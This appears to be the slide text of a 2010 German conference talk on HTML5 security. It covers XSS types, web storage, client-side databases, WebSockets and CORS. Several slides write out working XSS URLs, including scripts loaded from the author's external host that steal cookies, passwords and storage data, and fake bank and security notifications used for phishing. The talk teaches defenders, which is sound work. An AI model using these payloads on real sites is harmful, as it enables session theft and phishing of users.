The document presents a comprehensive overview of HTML5 security issues, focusing particularly on different types of Cross-Site Scripting (XSS) such as reflected, persistent, and DOM-based XSS. It also covers vulnerabilities related to offline storage, local databases, and cross-origin resource sharing, providing examples and demonstrations of potential exploits. Key points include the significance of session and local storage access, HTTP security headers, and the implications of new API features introduced in HTML5.

1. HTML 5 Security
XSS reloaded
Frank Ruske | International PHP Conference SE | 02. Juni 2010
© Mayflower GmbH 2010

2. XSS
I XSS Typen
· Nicht-Persistent oder reflektiv
http://html5.security.local/examples/xss1.php/'><script>alert(/X
SS/)</script> DEMO
"GET
/examples/xss1.php/'%3E%3Cscript%3Ealert(/XSS/)%3C/script%3
E HTTP/1.1" 200
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3. XSS
I XSS Typen
· Persistent oder beständig
http://html5.security.local/examples/xss2.php DEMO
"GET /index.php?open=xss2 HTTP/1.1" 200 1413
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4. XSS
I XSS Typen
· DOM-Basiert oder Lokal
http://html5.security.local/examples/xss3.php#name=frank<script>
alert(/XSS/)</script> DEMO.
"GET /index.php?open=xss3 HTTP/1.1" 200 1413
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5. XSS
I Cookie Diebstahl
http://html5.security.local/index.php/'><script type="text/javascript"
src="http://www.frank-ruske.com/sec/payloads/cookie.js"></script><!-
-
DEMO
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6. XSS
I DOM Passwortklau
http://html5.security.local/examples/xss4.php/'><script
src='http://www.frank-ruske.com/sec/payloads/dompwd.js'></script>
DEMO
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7. Cross Site Request Forgery
I Ausnutzen des Vertrauens einer Seite in den Benutzer
I Zustandsloses Protokoll HTTP
I Header als Authentifizierung bei jedem Request
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8. HTML5
(formerly titled Web Applications 1.0)
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9. HTML5 – Session Storage
I Session Daten können lokal gespeichert werden
· 5 - 10 MB pro Domain
I Der Client (Browser) hat kompletten Zugriff auf die Session Daten.
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10. HTML5 – Session Storage auslesen
I Session Storage auslesen
http://html5.security.local/index.php/'><script src='http://www.frank-
ruske.com/sec/payloads/sessionStorage.js'></script>?open=session_sto
rage_2 DEMO
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11. HTML5 – Local Storage / Web Storage
I Daten können lokal gespeichert werden
· 5 - 10 MB pro Domain
Der Client (Browser) hat kompletten Zugriff auf die Lokalen Daten.
User Tracking, Marketing, Botnet, Würmer.
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12. HTML5 – Local Storage Exploit / CSU – Cross Side Ursula
/'><script src='http://bit.ly/bHzqiG'></script>?open=local_storage_2
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13. HTML5 – Cross-directory attacks
W3C Web Storage Editor's Draft 12 May 2010
Different authors sharing one host name, for example users
hosting content on geocities.com,
all share one local storage object. There is no feature to restrict
the access by pathname. Authors on shared hosts
are therefore recommended to avoid using these features, as it would be
trivial for other authors to read the data and overwrite it.
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14. HTML5 – Datenbank
I Lokale SQLite Datenbank
· 5 - 10 MB pro Domain
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15. HTML5 – Datenbank Objekt und Methoden
I db = openDatabase(shortName, version, displayName, maxSize);
· shortName (Kurzname zum Zugriff im Browser und SQL)
· Version (Datenbank Versionsnummer)
· displayName (Voller Datenbankname)
· maxSize (Erwartete Datenbankgröße / Memory Management)
I db.changeVersion('1.0', '2.0', cv_10_20, error_10_20, success_10_20);
I db.transaction
· ExecuteSQL()
Objekte: SQLResultSet, SQLResultSetRowList, SQLError
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16. HTML5 – Datenbank Beispiel Querys
I executeSQL
· CREATE TABLE Table1Test (id REAL UNIQUE, text TEXT)
· DROP TABLE Table1Test
· SELECT * FROM Table1Test
· DELETE FROM Table1Test WHERE id=82
· INSERT INTO Table1Test (id, text) VALUES (4383, 'foobar')
· UPDATE Table1Test SET text = 'foobar2' WHERE id = 9467
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17. HTML5 – Datenbank sqlite_master
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18. HTML5 – Datenbank sqlite_master
http://html5....?open=database&name=<script src='http://www.frank-ruske.com/sec/payloads/databaseStorage.js'></script>
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21. HTML5 – Notifications – Exploits
· http://html5.security.local/index.php/'><script>window.webkitNotifications.
createNotification('http://files.youporn.com/images/logoblack.png','Buy
cheap Viagra NOW!!!!!!!!!!!!!!!!!!!!','We offer the best prices on the
market!').show();</script><!--
DEMO
· http://html5.security.local/index.php/'><script>window.webkitNotifications.
createNotification('http://www.frank-ruske.com/sec/security.png','Security
notice','It looks like your account was hacked. Please change your password
now!').show();</script><!--
DEMO
· http://html5.security.local/index.php/'><script>window.webkitNotifications.
createNotification('http://www.frank-
ruske.com/sec/deutsche_bank.png','Deutsche Bank - Wichtiger Hinweis','Es
gibt Unstimmigkeiten mit Ihrem Onlinebanking Konto. Bitte loggen Sie sich jetzt
ein, oder melden Sich umgehend bei ihrem Berater.').show();</script><!--
DEMO
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22. HTML5 – Navigator
I Information Disclosure
· window.navigator.appName
· window.navigator.appVersion
· window.navigator.platform
· window.navigator.userAgent
· window.navigator.onLine
I Protokol und Content Handler
· window. navigator.registerProtocolHandler(scheme, url, title)
· window. navigator.registerContentHandler(mimeType, url, title)
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23. HTML5 – Custom Protocol Handlers & Content Handlers
I Registrieren von Webanwendungen als handler
für Protokolle und MIME Types
I void registerProtocolHandler
(in DOMString scheme, in DOMString url, in DOMString title);
I void registerContentHandler
(in DOMString mimeType, in DOMString url, in DOMString title);
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24. HTML5 – Custom Protocol Handlers im Firefox
DEMO FireFox
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25. HTML5 – Custom Protocol Handlers & Content Handlers
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26. HTML5 – Offline Application Caching APIs
I Definition: <html manifest="html5security.manifest">
· NETWORK, CACHE, FALLBACK
I Cache Versionierung
I Cache Status:
· Uncached, Idle, Checking, Downloading, Updateready, Obsolete
I Online oder Offline?:
· var online = navigator.onLine;
http://www.w3.org/TR/offline-webapps/#offline
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27. HTML5 – Offline Application Caching APIs
http://html5.security.local/index.php?open=cache
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29. HTML5 – Cross-document messaging
W3C HTML5 Draft Standard — 23 May 2010
9.2 Cross-document messaging
“While this is an important security feature,
it prevents pages from different domains from communicating
even when those pages are not hostile. ”
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30. HTML5 – Cross-document messaging
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31. HTML5 – Cross-document messaging
e.origin = optional , Wildcards erlaubt (*)
http://html5.security.local/index.php?open=cross_document_messaging
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32. HTML5 – Cross-Domain messaging
When a Document is created, its effective script origin is initialized
to the origin of the Document. However, the document.domain
attribute can be used to change it.
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33. HTML5 – Cross-Domain messaging
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34. HTML5 – Websockets
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35. HTML5 – Websockets
I Websockets
·Bi-directional , full-duplex TCP Socket
·Server-Push (Kein Polling / Long-Polling mehr)
·Lediglich Handshake als HTTP-Request- und Response-Header
·2 Bytes Overhead
 (Text Frame: 0x00 Byte + UTF-8 data + 0xFF Byte)
 (Binary Frame: 0x00 + 0x10 (Klänge) + UTF-8 data)
I Keine Latenz für den Aufbau neuer TCP /IP Verbindungen für jeden HTTP
Request
I Websocket URI
ws://html5.security.local:8084/server.php
wws://html5.security.local:8084/server.php (WebSocket Secure - TLS)
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36. HTML5 – Websockets
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37. HTML5 – Websocket Handshake
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38. HTML5 – Websocket JavaScript
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39. HTML5 – Websocket PHP
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40. HTML5 – Websockets
http://html5.security.local/index.php?open=websocket
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41. HTML5 – Server-Sent Events
I Datenstream vom Server (Push)
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42. HTML5 – Server-Sent Events
I JavaScript API “EventSource“
· var stream = new EventSource("http://news.frank-ruske");
I Event Handler
· stream.onopen = function() { alert('onopen'); }
· stream.onmessage = function(event) { alert('onmessage: ' + event.data); }
· stream.onerror = function() { alert('onerror'); }
<eventsource src=”http://news.frank-ruske.com”
onmessage=“var stream; event.stream.split('n');
alert(stream[0] + stream[1] + stream[2]);”>
I EventStream (text/event-stream)
Data wait();n
Data wait();n
Data: document.write(/css/);n
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43. HTML5 – XMLHttpRequest Level 2
I XMLHttpRequest Level 2
·Progress events (loadstart, load, loadend, progress, abort, error)
·Cross-origin XMLHttpRequests
·Access-Control header
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44. HTML5 – XMLHttpRequest Level 2
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45. HTML5 – XMLHttpRequest Level 2
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46. HTML5 – XMLHttpRequest Level 2
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47. HTML5 – XMLHttpRequest Level 2
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48. HTML5 – XMLHttpRequest Level 2 – Header
I HTTP response headers
· Access-Control-Allow-Origin: <origin> | *
· Access-Control-Max-Age: <delta-seconds> (Preflight cache)
· Access-Control-Allow-Credentials: true | false
· Access-Control-Allow-Methods: <method>[, <method>]* (Preflight)
· Access-Control-Allow-Headers: <field-name>[, <field-name>]* (preflight)
I The HTTP request headers
· Origin: <origin>
· Access-Control-Request-Method: <method> (Preflight)
· Access-Control-Request-Headers: <field-name>[, <field-name>]* (Preflight)
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49. HTML5 – XSS – Vektoren
I Focus:
· <input onfocus=write(1) autofocus>
· <body onscroll=alert(1)><br><br><br><br><br><br>...<br><br><br><br><input
autofocus>
· <video><source onerror="javascript:alert(1)">
· <frameset onload=alert(1)>
I Charsets:
· <meta charset="x-imap4-modified-
utf7">&ADz&AGn&AG0&AEf&ACA&AHM&AHI&AGO&AD0&AGn&ACA&AG8Ab
g&AGUAcgByAG8AcgA9AGEAbABlAHIAdAAoADEAKQ&ACAAPABi
· <meta charset="x-imap4-modified-
utf7">&<script&S1&TS&1>alert&A7&(2)&R&UA;&&<&A9&11/script&X&>
http://heideri.ch/jso/ Für mehr Beispiele
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50. Quellen
I Resources:
· http://html5demos.com @Remy Sharp (with personal permission - thanks a lot)
· http://phpwebsocket.googlecode.com (GNU)
· http://trivero.secdiscover.com/
· http://heideri.ch/jso/
· http://www.w3.org/TR/XMLHttpRequest2
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51. Vielen Dank für Ihre Aufmerksamkeit!
Kontakt Frank Ruske
frank.ruske@mayflower.de
Tel.: +49 931 35965 1161
Mayflower GmbH
Pleichertorstraße 2
97070 Würzburg
© 2010 Mayflower GmbH